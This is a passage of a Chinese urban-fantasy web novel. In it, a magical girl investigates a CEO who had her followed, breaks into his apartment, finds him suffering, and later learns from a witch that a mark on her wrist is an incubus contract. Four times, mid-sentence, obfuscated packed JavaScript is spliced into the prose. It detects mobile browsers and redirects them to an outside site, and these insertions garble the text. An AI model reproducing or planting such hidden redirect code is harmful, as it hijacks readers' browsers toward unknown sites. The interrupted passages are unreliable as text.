他们和人类,终究是两个种族,而对方却选择了这么一个行业,容易暴露不说,还不方便抽身。 “其实不太清楚,但是这人派侦探查我来着。”盛凌华顺便将怎么发现的过程也说了一遍。 两人正聊着天,并没有注意到有人进来了。 对方进来后,目标明确直接朝着盛凌华走来,很快就被爱德蒙察觉,对方冲盛凌华使了个眼神,两人的谈话戛然而止。 盛凌华回过头,冲着走来的谢天骄打招呼,“你来啦?” 谢天骄是店里的常客,盛凌华和她也是在这认识,因为性格相投成了朋友,每周都会相约聚一聚。 对方比盛凌华要大上几岁,在一家猎头公司上班,是个正儿八经的都市白领。 谢天骄将手提包往吧台一放,坐下后便是一声长叹,“今天可累死我了,聊了好几个意向都不明确。” 话音刚落,爱德蒙便倒了一杯温水送到了她的面前,配上温声细语的关怀。 “上班辛苦了。” 谢天骄立刻转怨为喜,抱端着水杯笑开了花,工作了一天有什么比看帅哥更解压的事情呢? 她喜欢这间店主要原因就是老板长得帅,其次才是店里环境不错。 好吧,主要还是因为爱德蒙,职场丑男太多,急需帅哥净化双眼。 谢天骄美滋滋地喝了口水,余光一扫,正巧看到了盛凌华还没有息屏的手机,立刻“咦”了一声。 她将手机拿过来想看的更清楚点,扫了一眼便捕捉到了关键信息,“这不是天工他们家老总吗?” “你认识?”盛凌华问完拍了拍脑袋,“我都忘了,你干这行认识很正常。” “H市还有谁不认识天工科技啊,我们有同行帮他们挖过人,这公司最近发展挺好的,不过他们最近摊上事了,有人去平机会告他们招聘性别歧视。” 平机会全名平等机会委员会,是专门执行监管反歧视条例的部门,反歧视包括了性别、怀孕、婚姻状态、残疾等。 盛凌华一听这话题,不免也关心地多问几句:“什么情况?” 据谢天骄介绍,最近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250877|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天工科技开放了一批实习生岗位,但在个别岗位,例如总裁助理一职上标注只招男性,由此引起了求职者的不满,认为该公司存在性别歧视。 “其实我也没搞懂,按理说助理也没有性别门槛,反正这事儿最近闹得挺大的。” 谢天骄又把手机界面拉到上方去看访问照,边打量边说:“你还别说,这个庄斯夜在老总里算是顶级帅哥了,我同行见过本人,说他巨帅,比莱斯利还帅!” 她特意在最后两个字上下了重音,莱斯利是当下最红的多栖明星,常年霸榜全球最帅男星排名。 “这么夸张?” “我那个同行说话从不夸张。” 爱德蒙听了,调侃地问:“那和我比呢?” “这……”谢天骄只犹豫了一秒,丰富的社会经验促使她做出了回答:“老板也很帅呀,不光帅还很有绅士风度呢。” “既然如此,我也不能让你失望。”爱德蒙姿态优雅地为谢天骄倒了一杯酒,推到她的面前:“这杯我请。” “老板太豪爽啦!” 盛凌华立马抗议说:“那我呢,我怎么没有。” 爱德蒙瞥了她一眼,给她倒了一杯橙汁,盛凌华立刻变脸,甜甜地回了句:“谢谢老板。” 对方微微颔首,在射灯的光线下展现出流畅的面部曲线,“不打扰二位聊天了,有问题叫我。” 等他走后,谢天骄再次向盛凌华感慨,“老板真的很有贵族气质。” 盛凌华干笑一声,跟着附和了几句,她也不得不承认,在气质方面爱德蒙的确没得说。毕竟活得久嘛,身上那股淡定从容的劲,一般人是装不出来的。 很快谢天骄便换了话题,她的朋友不少,但大多都是在职场工作,大家都会遇到相同的困境,聚在一起难免会聊到工作、情感、财务状况这种令人头痛的话题。 但盛凌华不一样,谢天骄很羡慕对方的状态,自在肆意,就像是一阵风。 想染粉发就染,想尝试新工作随时就去,生活总是充满惊喜。 她也深知自己成为不了盛凌华,归根结底是因为自己太胆小了,一旦失去稳定工作总会感觉下一秒便活不下去。 当然这也不妨碍她们两人成为朋友,盛凌华是个相当有趣的人,思绪活络,说话幽默,两人社交圈没有任何交集,她可以尽情吐槽,也不用担心惹来麻烦。 做猎头的,总是能听到一些奇奇怪怪,震撼三观的故事,偏偏职业操守又要求她们守口如瓶,听得多了总会开始怀疑世界,所以谢天骄急需一些途径来纾解压力。 除了看帅哥,和朋友聊天自然是个不错的选择。 在经历了一个多小时的畅聊后,谢天骄意犹未尽地饮下最后一口酒,“大概就是这样了。” 盛凌华突然问:“我还有个问题。” “什么事?” “你有庄斯夜的联系方式吗?” “咳……”谢天骄差点被呛住,咳了好几声才缓过来,“拜托,我只是个专员,还没资格跟庄斯夜这级别的对接,不过我倒是认识天工的人,你怎么突然问起这个?” 谢天骄不免好奇起来,盛凌华要找庄斯夜做什么? “没什么。”盛凌华笑眯眯的,语气轻松道:“我跟他有点事情需要解决。” 5. 夜访 谢天骄惊讶地问:“你认识庄斯夜?” “算是认识吧。” “认识就认识,不认识就不认识,什么叫算是?” 与此同时,谢天骄的大脑高速运转起来,将所有与庄斯夜有关的资料整合在一起。 庄斯夜是海归华侨,自小在国外长大,获奖后才带着奖金回H市创立天工科技。 之所以选择H市,是因为这是他祖父的故乡。 此人平日行事低调,除了工作外,从不参加任何社交活动,至于私生活方面,也没什么传闻。 听说他一直单身,不过有钱人私底下玩得花几乎是一个共识,再加上庄斯夜这外表、这经济条件,谢天骄很难相信对方会有这么完美。 她也不是相信世上有完美男人的年纪了,这年头男人的才华和颜值已经很难共存,更何况还有洁身自好这一项。 但不管怎么说,她都很难把庄斯夜和盛凌华联系起来。 这完全是风马牛不相及的两个人嘛! 谢天骄想了很久,实在是想不出头绪,上班已经够累,她可不想下班还要来玩推理游戏,所以她选择了最直白的解决办法。 “你就别让我猜来猜去,直接告诉我吧,你找庄斯夜到底有什么事?” 盛凌华看她表情实在痛苦,于是解释道:“我前天去兼职当伴娘,刚好遇到了他。” “前天?”谢天骄立马想起些什么,“是开睿老总的儿子结婚吧?开睿的确和天工有合作关系。” “是啊,他也参加了婚礼,我碰到他之后感觉我们可能认识,但不太确定,所以想找他问问情况。” “这样啊。”谢天骄半信半疑,说实话这说辞有点勉强,要是两人真的碰面了,留个联系方式就不好了,何必来找她打听? 但她转念一想,又觉得不是没有可能。 她一直认为盛凌华挺神秘的,对方选择了一个很不稳定的生活方式,这对于出生普通家庭的人来说,是一种很奢侈的选择。 普通人的容错能力很低,一旦做出选择,投入的成本很难挽救,而盛凌华给人的感觉则是无所畏惧地活着。 并且她和酒馆老板很熟,看交情不像是普通朋友这么简单,偶尔还会聊一些她听不懂的话题。 再结合爱德蒙的身份,谢天骄不禁脑洞大开。 该不会……盛凌华其实是有钱人家的大小姐,跑出来体验人间疾苦的吧? 这样一来,认识庄斯夜也就不奇怪了,只是这个剧情不也挺小说的吗?! 盛凌华并不知道谢天骄在短短时间内,已经为她编造了一个空前绝后的身世背景,她也知道自己的理由不算充分,但知道得太多对谢天骄也没好处。 “要不算了,”她见谢天骄半天没说话,主动选择放弃,“我回头问问别人。” “不用,我帮你打听。”谢天骄回过神来,对盛凌华说道:“具体住址怕是打听不出来,但是大概位置可以帮你问问。” 盛凌华忙说:“有这个就够了。” 她的感知无法覆盖整座城市,但只要能有个大概位置,找人还是没难度的。 殊不知,她的这句回答更加坐实了谢天骄对于她身份不简单的推测。 “行,你回去等我消息,另外……”谢天骄舔了舔嘴唇,一想到自己还有可能认识豪门大小姐,她还有点紧张,“算了,你先忙吧。” 她和盛凌华关系虽然不错,但其实也就认识了半年左右,问得太多反而会引人反感,对方要是想说自会告诉她的。 其实不管盛凌华到底是何背景,跟她也没什么关系。 她也曾经有过不切实际的幻想,比如家里有个在海外创业成功,但没有子女继承遗产的亲戚,再或者遇到一个高富帅爱她爱得死去活来,让她可以坐享其成,实现躺平人生。 不过做梦归做梦,人还是踏实一点,钱是不会平白无故跑进她的口袋的。 “总之需要帮忙你就跟我说。” “好的。”盛凌华露出嘴角浅浅的梨涡,眼尾弯弯,“你真好!” 谢天骄见状心情大好,大手一挥向她承诺道:“好说,等你哪天正儿八经想上班了跟我说,保证给你找个福利待遇最好的!” 临睡前,盛凌华就收到了谢天骄的短信。 [帮你打听过了,他住白石公寓,具体楼层就不知道了,你可以去问物管的人。] [知道啦,谢谢~] 盛凌华自然听过白石公寓的名号,这是H市最豪华的公寓之一,她以前做兼职送花时曾经路过,自然知晓内部安保有多严格。 不过这对她来说,不算什么困难。 接下来她要做的事情也很简单,找个时间去堵人就好,现在她要考虑的问题是见到庄斯夜自己该说些什么,首先她要明确对方的身份与安全性,其次要表明自己的立场。 她是一个和平爱好者,但这不代表所有非人生物也是。 在过去很长一段时间里,魔法少女和非人生物都处于对立面,直到人类日渐强大,非人生物也开始转换策略,试图和平共存。 但有一些种族对魔法少女依旧持敌视态度。 倘若爱德蒙是吸血鬼中的保守派,那她们俩势必得闹个不死不休了。 不过盛凌华觉得,这次问题应该没那么严重。 庄斯夜既然选择在人类社会创业,又获得了如此高的成就,说明他已经很适应人类生活了,没有必要与人为敌。 最关键的是,庄斯夜处理问题的方式也让她觉得,对方是个社会化程度很高的非人生物。 他选择了请私家侦探明面上调查, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250878|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而不是找非人生物帮忙,足以证明一些问题。 盛凌华如此想着,很快进入了梦乡。 睡醒后,她先是赖了会儿床,又在脑海里回忆了一下今天的计划才起来。 今天她要去便利店上夜班,白天没什么事干,便又把庄斯夜的相关资料看了一遍。 这人的确低调,网上有关他的照片少得可怜。 另外她也看到谢天骄所说的职场歧视一事,天工科技已对外发布正式说明: 总裁助理一职涉及大量海外工作,其中一些地区存在对女性不友好的文化习俗以及安全问题,出于多方考虑,公司才做出了只招收男性的决定,并不存在性别歧视。 这个说明倒是有理有据,不过网民的评论便是五花八门,说什么的都有了。 盛凌华扫了一眼就关掉了网页,不看也罢。 太多人站着说话不腰疼,就业哪有这么容易,遇到好老板的概率比投上好胎的概率还难。 盛凌华作为一个长期打零工的灵活就业人员,可以说是看尽了世间冷暖,见惯了“妖魔鬼怪”。 谁说人类里就没有吸血鬼呢? 盛凌华准点去了便利店,刚交班是最忙的时候,盘点理货,再加上上半夜的街区正是热闹,时不时就有顾客进来买东西。 一开始,赵姐还不太放心让盛凌华值夜班,她觉得此地情况特殊,一个小姑娘不见得能搞定突发状况。 盛凌华也没有多解释,只用行动说话。 当赵姐亲眼看到盛凌华轻轻松松将一个身高一米八的醉汉拖出店门后,便爽快答应了对方只上夜班的要求。 小姑娘,真乃天生神力也。 凌晨三点过后,客流量明显降低,街道上也空无一人,盛凌华收好东西,差不多准备行动了。 她锁上店门,挂上了临时外出的牌子,走到路边打了辆出租车。 “您好,去白石公寓。” 魔法少女没有瞬移的能力,虽然跑得快,但是也会累,还是打车比较省力,正好她也可以在车上再思索一下,等会儿见到庄斯夜要说什么。 根据她以往的经验,恐怕第一句得是:不要怕,我不会伤害你的。 一转眼,她到了白石公寓,打车费价值不菲,颇令她心疼。 她在想,要是和庄斯夜调解顺利的话,是不是能让对方报销一下?看资料这人应该挺有钱的。 公寓一楼有二十四小时值班的管理人员,盛凌华守在外面观察了一下,找了个时机,加快速度闪了进去。 在前台值班的工作人员正困得昏昏欲睡,忽然感觉一阵穿堂风扑面而来,他打了个激灵,猛地抬头,看到的也只有空无一人的大厅。 他张望一番,确定没有异常,才收回视线。 奇怪,刚刚哪来的风? 6. 快走 盛凌华躲过工作人员,钻进了消防通道,向上爬了一层后,才找了一处角落,靠着墙闭上了眼。 她开始调动感知,搜寻一切可疑动静。 感知力就如同呼出去的气息一般,不断向外扩散开,平稳地掠过每一寸空间,直至遇到阻力。 盛凌华猛然睁开眼睛。 找到了。 她一口气爬到了顶楼,从消防通道进入到走廊,过道很安静,但她却能感受到源源不断的力量波动从某扇门内传出。 一般情况下,非人生物的力量气息是很平稳的,就像人类的呼吸,虽有起伏,但会保持在一个相对区间,而此时她感受到的气息却是混乱不堪的。 好像有点反常,盛凌华不由得起了一丝防备。 她走到那扇门口,点亮了密码锁的界面,她当然不知道密码,也不知道Alohomora咒,但所有密码锁都会留有机械锁孔以防万一。 经过一番摸索后,她成功打开机关,露出了锁孔。 然后盛凌华掏出了她的制胜法宝——□□,这是她之前斥巨资弄来的,虽然贵但是很值得。 钥匙丝滑地插入锁孔,只需要轻轻一拧,门锁应声而开。 屋内没有开灯,但客厅窗外的夜景足以照亮屋内每一处角落。 不愧是H市最顶级的公寓,光是一个客厅就比她整套房要大,盛凌华不合时宜地呆了一下。 她觉得虽然庄斯夜找侦探查自己无礼在先,但自己还是得保持点风度,所以她试着朝屋内喊话。 “庄斯夜,能和你谈谈吗?” “我不会伤害你的。” 屋内毫无动静,要不是她清晰地感知到了紊乱的气息,不然真的会怀疑自己闯进了一间空屋。 盛凌华又等了等,不太耐烦地开口:“沉默可不是处理问题的好态度哦,庄总。” “你都找人查我了,应该能想到我会找上门的吧?” “咱们坐下来好好聊聊,只要我确定你不会对任何人造成威胁,我是绝对不会来找你的。相信我,我比谁都要怕麻烦。” 盛凌华边走边说,最后停在了一扇亮着灯的门后,试着在门上轻叩两声。 里面传来一声意义不明的低咽声。 盛凌华感觉情况不对,低声问:“喂,你没事吧?” “……” 说起来,非人生物在人类社会生存的最大难题并不是人类的威胁,也不是难找工作,而是没有医疗服务。 一旦出事,要么自己硬抗,要么找相熟的同伴处理,不是人人都能及时赶到地下诊所的。 以前盛凌华就处理过不少类似情况,该不会庄斯夜也是这样? 她又对着门问了一句,“你要是需要我帮助,你就吱一声。” 低咽声似乎更频繁了,但盛凌华实在是听不清楚,也不想再等下去,总不能眼睁睁看着人出事不管吧? “我进来了。” 她扭动门把手,里面是间卧室,混乱的力量毫无顾忌地朝外扩散,犹如困兽做着最后的挣扎。 源头则来自于虚掩着门的浴室,盛凌华径直过去把门推开。 浴室里水声不断,浴缸里灌满了水,不断地有水溢出滴落在地上,一个男人正躺在里面,身上的白色衬衫、西裤全都湿透,紧贴着身上显露出他高大匀称的体型。 盛凌华一眼认出,这人正是她要找的庄斯夜。 只是对方的眼下的状况非常不好,发丝凌乱,俊美的面庞异常苍白,甚至比爱德蒙那个常年在地下室睡觉的吸血鬼还要白,眉毛拧成一团,修长的双手正死死扣着浴缸边缘,手背上青筋尽显,似乎是在忍受什么极大的痛苦。 有那么一瞬间,盛凌华甚至都怀疑这人快死了。 这里离地下诊所差不多隔了半个H市,等自己把人送到那,人差不多也凉透了。 “喂?庄斯夜?听得到我说话吗?” 盛凌华试探性地又向前走了几步,见对方还没有动静,她不得不伸手去探探鼻息。 就在即将碰到对方的那一刹那,突生变故。 庄斯夜毫无征兆地睁开眼,眼瞳呈现出混沌暗沉的深紫,外部却勾勒出一圈妖冶的金色。 盛凌华来不及反应,对方一把抓住她的手腕,力道之大,自己第一时间竟没能挣脱开。 她不禁骇然,什么种族会有这么大的力气?巨魔还是狼人? 脑海闪过几种可能,一股暖流却突然从两人相触的部位涌入她的体内。 盛凌华不由脸色大变,这该不会是个陷阱吧? 她想也不想地甩开了对方的手,整个人退到门口,极其防备地观察着四周的情况。 庄斯夜被她甩开,胳膊无力地垂下,手臂撞到浴缸,发出一声闷响。 “快走。”男人有气无力地说着,声音嘶哑到难以辨识。 “你……”盛凌华看了看手腕,除了有些发红,一切如常,刚才那股感觉也消失地无影无踪。 一时间她也分不清这到底是现实还是幻觉,但是男人无助虚弱的样子的确出现在她眼前。 “你没事吧?” 庄斯夜没有回答,只是自顾自地呢喃着:“离开这里。” 盛凌华犹豫了两秒,选择转身离开。 在搞不清楚情况之前,听别人的安排要远胜于自作主张,而且她也需要时间搞清楚刚刚到底发生了什么事情。 还有,庄斯夜到底是什么人? 盛凌华原路从公寓退了出来,离开时她才注意到,顶楼刚刚还混乱暴躁的气息如今却变得平静不少。 虽然这人看上去半死不活的,但是从刚才扣着她的力度来看,绝对不是一个将死之人该有的力气。 她坐在返程的出租车里,摇下车窗,让窗外的风吹进来。 七月的H市,夜风中也带着一股湿热的暑气。 盛凌华不免又回忆起了刚刚感受到的触感,低头看着手腕反复检查,被攥握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250879|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的红印已经褪去,目光所及之处光洁如初。 她又闭眼放松感受了一下身体,的确什么都没发生。 难道是自己太敏感了,一切只是意外? 说起来,庄斯夜也不可能预测到自己今晚会到访,总不能他每天都泡在浴缸里,就等着自己演一出戏给她看吧? 而且做这些他图什么呢? 一路上,盛凌华都在胡思乱想,她是一个实干派,推理谋略实在不是她的长处。 等司机提醒她到了,盛凌华瞟见计价器上的数字,便什么思考都顾不上了,满脑子只有一个计算公式。 这样价位的行程,她竟然一晚上坐了两次! 最关键是计划毫无进展,她跟庄斯夜连句话都没说上! 盛凌华肉痛地扫码付款下车,出租车立刻启动,把她一人留在了寂静的午夜大街上。 真是一天白干了,她无比懊悔地回到便利店。 这个时间也没有客人上门,她便坐在柜台里开始复盘今天的行动。 乐观一点看,自己也不算是毫无收获,起码见到了庄斯夜本人。 这两天她看了不少庄斯夜的资料,在见面之前就对这位年轻有为的科技新贵有了些认识。 聪明、自律、低调,是她对这人的初印象。 但这些貌似都跟她刚刚看到的画面不沾边,男人湿身躺在浴缸里忍耐痛苦的模样,既狼狈脆弱,却又带着些荒唐的美丽。 盛凌华打了个冷颤,看来自己是冷气吹多了,大晚上的在想些什么乱七八糟的。 她又急忙去看手腕,确认一切正常,立马给自己找点活干,做起事来就不会胡思乱想。 至于庄斯夜那边,过两天再说吧。 她并不担心对方跑路,以他现在的社会地位,想做到突然消失实在是太困难了。 就算她答应,有关部门都不会同意的。 转眼天亮,盛凌华和同事交班,回到家倒头就睡,再睡醒已是中午,她看了眼手机,发现谢天骄给她发来了消息。 [你的事情办好了吗?我今天和天工的人聊天,听说庄斯夜出差了,要过几天才能回来。] 没想到谢天骄对她的事情这么上心,盛凌华有些感动,正要回复消息,余光一瞥扫过手腕,下一秒直接从床上坐了起来。 她难以置信地望着手腕,这里不知何时出现了一个金色的半弧形,明明睡之前还什么都没有的。 盛凌华试着用手擦了一下,发现压根擦不掉,这不像是附着在在皮肤表面的颜料,更像是从肌底里长出来的脉络。 不管如何折腾,到最后都是徒劳,最终她忍不住高喊了一声:“什么情况!” 不是说魔法少女百毒不侵的么?她去年被女巫洒了一整瓶的吐真药也没中招啊! 盛凌华有心去找爱德蒙问问,但这个点他肯定在睡觉,叫醒他比杀了他都困难。 谢天骄又说庄斯夜出差去了,难道这人是故意躲开的? 7. 仰冰 盛凌华在床上坐了许久,突然翻身下床去卫生间接了捧冷水往脸上一泼,随后抹了把脸。 不管这是阴谋还是诡计,事情都已经发生,慌乱是解决不了任何问题的。 冷静,要冷静! 当务之急是搞清楚这东西对自己到底有没有害,和庄斯夜有没有关系。 前者的重要性明显大于后者。 除非自己倒霉中了什么暴毙诅咒,不然她应该还有命等到晚上。 又或者去找仰冰? 仰冰正是给她撒了一整瓶吐真药的女巫,对方在H市开了一家地下诊所,专给非人生物问诊,市面上一度有过她迷晕病人窃取材料的传言。 许久前,盛凌华乔装打扮前去摸底,没想到当场被仰冰认出了身份。 对方佯装没发现,一边问着病况,一边摸出药粉,趁其不备撒了她一脸。 后来两人坐下来把事情说开,仰冰坦言从不接诊人类,虽然私底下也会做一些试验,但迷晕病人这事纯粹无稽之谈。 盛凌华也观察了对方很长时间,仰冰性子虽然有点古怪,但的确没有害人的想法,并且医术高超,在圈内地位卓然,想要什么材料病人早就双手奉上了,哪里需要自己动手。 再后来,盛凌华就把仰冰从观察名单上删掉了。 两人很少打交道,但关系却诡异得还不错,盛凌华将其解释为有的人就是生来气场契合。 上次碰面,还是自己给她介绍了个助理。 仰冰不喜用现代科技,至今也没有手机,想联系她只能去诊所找人。 盛凌华简单收拾一番后便出了门,这次她没选择打车,而是选择乘坐地铁再转乘公交车.花了不少功夫,才到达目的地附近。 下车时,她发现手腕上的印记又多了一些,半弧形旁边连接上了其他线条,但还是看不出是什么图形。 盛凌华越看越烦躁,索性放下手加快脚步,穿过一片错综复杂的居民区,最后停在了一处不起眼的院子门口,敲了敲门。 铁门被拉开一条缝,露出一双眼睛,在看到盛凌华后闪过一丝亮光。 盛凌华已经露出笑容,亲切地举起手打招呼,“最近还好吗?” 下一秒,铁门打开,门后站着一个体型纤细的少年,长相柔和,乍一眼望去难辨雄雌。 对方冲盛凌华露出真挚的笑容,嗓音悦耳动听,“我很好,你过得好吗?凌华大人!” “不太好。”盛凌华一脸严肃地说:“可能快死了,所以仰冰现在有空吗?” “什么?”少年大惊失色,慌乱地转身差点一头撞在铁门上,看得盛凌华都不忍心了,连声喊着对方的名字。 “泡泡,慢点慢点!” 眼前的少年便是当初在奶茶店工作的精灵,性格十分单纯,盛凌华当初就是不太放心,才拜托仰冰收留,以泡泡这个性格,要是真的去社会上打工,恐怕就得被欺负死了。 泡泡慌张地喊着仰冰的名字,哪里还顾得上盛凌华的提醒。 “老板快出来救人吧!凌华大人出事了!” “诶诶……我是开玩笑的。” 盛凌华想追进去,但大门开着在,还得先把门关上才跟着进去。 屋内到处都是堆满东西的柜子和药架,只在角落放置着问诊的桌椅,同时还弥漫着一股古怪的味道,这是草药杂糅着各种她想不到的材料的气味,盛凌华也不愿意去细想成分。 仰冰刚刚起身,显然也是被泡泡的话惊动了,她走到盛凌华面前,直截了当地问:“你要死了?” “还没还没。”盛凌华急忙解释,“我只是怀疑。” 说完她便感觉对方瞪了她一眼,“我是说历史上还没有魔法少女意外死亡的先例,你怎么可能这么倒霉。” 盛凌华吸了口凉气,“你这话怎么听着不像是好话啊。” 仰冰不置可否,女巫的寿命相当长,盛凌华至今也不知道她的年龄,从外表来看对方只有三十出头,长发及腰,样貌清冷,一身白裙,眼珠黑白分明,看久了不免让人心里发毛。 “但我的确是遇到麻烦事了。” 盛凌华抬手,把手腕展示给她看,顺便叙述经过。 仰冰整日都呆在诊所里钻研各种配方,对外面的事情丝毫不感兴趣,这也是一开始盛凌华没找她打听的原因。 对方听到庄斯夜的名字一点反应都没有,可见平日对本地新闻并不关心。 仰冰听完,俯身看了看她手上的印记,又从身后装满药物的柜子里掏出些东西,在她手上擦了擦,最后用肯定的语气对她说:“不是诅咒,不会暴毙的。” 盛凌华听到这话骤然松了口气,原本僵直的肩膀也松懈下来。 她靠着椅背,拍拍胸口,“那就好,那就好。” “不过……”仰冰话锋一转,又把盛凌华的心给吊了起来,“这应该是某种契约符号。” 盛凌华苦着脸说:“姐姐,有什么话咱们一口气说完行吗,这样我很容易得心脏病啊,你也知道的,我经常熬夜。” “我也只是猜测。” 仰冰转身走到书架中,摸索出一本厚得像砖头一样的书,封面上印着复杂的文字,魔法少女的血统并不包含语言天赋,所以她也看不明白。 对方熟练地在目录页面搜寻,最后翻到某页,除了一堆文字描述外,还配有一张手绘插图。 盛凌华是看不懂字,但还能看不懂图吗? 她第一眼就注意到了这张插图,图上的内容和她手上图案不论是样式还是位置,都是一样的。 “是一样的诶!”她将手腕放到插图旁,对比给仰冰看。 泡泡也凑过来看,又扭头去看书上的介绍,一字一句念了出来。 “魅魔契约分为从属两种,金色为……” “你等一下。”盛凌华打断泡泡,一副自我怀疑的表情,“我好像幻听了,你刚才说什么?” 仰冰开口问:“魅魔你不认识?” “我当然知道魅魔,不是说魅魔这个种族超级稀有,全球只剩下几支派系,而且都跑去国外了吗?” “稀有又不是灭绝了。”仰冰语气淡定,“现在交通这么方便,飞回来又不麻烦。” 盛凌华一脸惊讶:“魅魔还能飞?” 在她的认知里,魅魔这一种族的战斗力很弱,主要靠幻术和操纵情欲来操控敌人,也正是因为其属性,魅魔很少出现在战斗第一线,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250880|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在感都相当低。 这么一看,倒是挺符合庄斯夜的行事风格。 仰冰叹了口气,看盛凌华的眼神都变了,“我指的是飞机。” “噢!”盛凌华一脸“噢”了数声,“是我糊涂了。” 她已经被这事儿给搅乱心智,这叫什么事啊! “所以这契约到底怎么回事?” 仰冰不客气地说:“泡泡不是在念,然后被你给打断了吗?” “对不起,我主要是太震惊了。”盛凌华老老实实认错:“你们继续。” 仰冰给泡泡使了个眼神,对方又继续念了下去:“金色为宿主契约,紫色为魅魔契约,每位魅魔同时期内只能结下一次契约,待契约消失后,方可寻找下一位主人。” 念到这里,泡泡便停了下来。 盛凌华正听得入神,不由追问:“然后呢?” “没了,书上只有这么多,后面就是关于人鱼的部分了。” “怎么会这么少?” “因为这书是精灵族撰写的。”仰冰语气淡淡的,“精灵族向来不喜欢魅魔,能有这些介绍就已经很不容易了。” “为什么不喜欢?” “大概是因为名声不好吧。你以为这个圈子里会讲究什么生而平等?像魅魔这种靠攀附宿主生存的种族,向来是被看不起。” “我小时候的确是听过一些关于魅魔的故事。”泡泡小声说:“大人们都说魅魔是最堕落的种族,我们必须远离。” “所以说这个契约到底用来干什么的?” “书上没写,你就猜不到了?” “呃……”盛凌华的确没有见过魅魔,但是这个种族就和吸血鬼一样深受人类创作者的热爱,她也确实在不少作品中都见过相关角色。 只是剩下的话,真的有点难以启齿。 仰冰看出了盛凌华的窘迫,一针见血道:“就是你想的那么回事,契约的本质就是供养,魅魔通过与主人签订契约,从对方身上提取能量,至于怎么提取,什么是能量,应该不需要我给你解释……” 盛凌华立即高声打断对方:“不用不用,我明白了!” “不过你也不算吃亏,魅魔不管男女长相应该都不差。”仰冰认语气认真地问她:“你应该没有恋丑癖吧。” 盛凌华差点没哽过去:“这是长相的问题吗?!” “你应该这么想,帅的起码比丑的强,不是吗?” “……虽然道理是这个道理吧,我怎么总觉得哪里有点奇怪。”盛凌华突然反应过来,“不对,就算签订了契约也不代表我一定得跟他那什么吧?” “理论上是这样,实际上很少有种族可以抗拒魅魔的吸引力,再加上契约会在极大程度的影响宿主的判断,当然这只是理论分析,我觉得实际情况是很多人都把持不住吧。” 仰冰看了一眼盛凌华的头发,尽管屋内光线昏暗,她的粉发却依旧醒目。 “至于你的话,我不确定,从来没听说过魔法少女会和魅魔签订契约,你们的宗旨不是要远离堕落之源吗?” 仰冰的语气有些幸灾乐祸:“魅魔可是堕落纵欲的代名词。” 盛凌华听了,只觉得眼前一黑。 8. 可乐 而仰冰还沉浸在学术分析中不可自拔,“说起来我也有点好奇,都说魔法少女的血液百毒不侵,不知道能否抵抗魅魔的魅惑效果,感觉是个很有意思的课题,可以深入研究一下呢。” “喂,女巫也要发SCI吗?别想了!”盛凌华烦躁地薅了一把头发,“比起这个,我更关心契约该怎么消除。” “我不知道。”仰冰回答得相当干脆,“你应该去问那个开酒馆的。” 盛凌华叹了口气:“晚点会去找他的。” “你也不用那么烦恼,只要控制好自己,就不会死的。” “等等。”盛凌华打断她,这人好像说出了什么不得了的内容啊,“什么叫做控制好就不会死?” “绝大多数契约者都无法抵御魅魔的诱惑,最终力竭而亡,要不然书上怎么会强调在契约结束后魅魔才能寻找新的主人?说明主人本身就是可消耗的。” 仰冰想起自己曾经见过一名半人马被魅魔吸干精力后的枯槁惨状,不过看到盛凌华这反应,还是不说为妙。 其实她还挺喜欢盛凌华的,对方身上没有那种自以为是、被光明教义冲昏头脑的正义感,对自己不了解的东西也不会擅自评价,和她交流时几乎可以忽略掉对方的身份。 没想到等自己说完,对方却陷入了沉默。 仰冰忍不住问:“你在想什么?” “我在想自己是不是中招了,现在怎么想都感觉自己是进了个局啊。 庄斯夜故意引她过去,目的就是为了给她结下契约,然后让她“精尽人亡”? “什么意思?” 盛凌华将那晚的事情复述一遍,仰冰听完想了想,说:“不太像,要是我没猜错的话,他是到发情期了。据说发情期的魅魔如果不及时纾解也会非常痛苦,他应该不太会用自己来设局。再说就算找宿主,去找一些头脑简单,四肢发达的种族,操纵起来不是更容易吗?” 盛凌华边听边点头,“有道理啊,而且他当时的确看着脸色不太对。” 